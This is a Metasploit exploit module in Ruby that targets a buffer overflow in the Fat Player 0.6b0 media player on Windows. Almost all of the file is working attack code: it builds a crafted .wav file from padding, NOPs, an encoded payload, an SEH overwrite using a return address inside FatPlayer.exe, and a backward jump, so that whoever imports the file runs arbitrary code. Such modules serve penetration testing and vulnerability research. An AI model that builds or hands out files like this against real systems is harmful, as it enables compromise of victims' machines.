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## # $Id: fatplayer_wav.rb 10998 2010-11-11 22:43:22Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Fat Player Media Player 0.6b0 Buffer Overflow', 'Description'=> %q{ This module exploits a buffer overflow in Fat Player 0.6b. When the application is used to import a specially crafted wav file, a buffer overflow occurs allowing arbitrary code execution. }, 'License'=> MSF_LICENSE, 'Author' => [ 'James Fitts', # Original Exploit 'dookie', # Metasploit Module ], 'Version'=> '$Revision: 10998 $', 'References' => [ [ 'OSVDB', '57343'], [ 'URL', 'https://www.exploit-db.com/exploits/15279/' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'seh', 'DisablePayloadHandler' => 'true', }, 'Payload'=> { 'Space'=> 500, 'BadChars' => "\x00\x0a", 'StackAdjustment' => -3500 }, 'Platform' => 'win', 'Targets'=> [ [ 'Windows Universal', { 'Ret' => 0x0046bee3 } ], # p/p/r in FatPlayer.exe ], 'Privileged' => false, 'DisclosureDate' => 'Oct 18 2010', 'DefaultTarget'=> 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']), ], self.class) end def exploit sploit = rand_text_alpha_upper(100) sploit << make_nops(100) sploit << payload.encoded sploit << rand_text_alpha_upper(3932 - (payload.encoded.length)) sploit << generate_seh_record(target.ret) sploit << "\xe9\x60\xf0\xff\xff" # Jump back 4000 bytes print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(sploit) end end |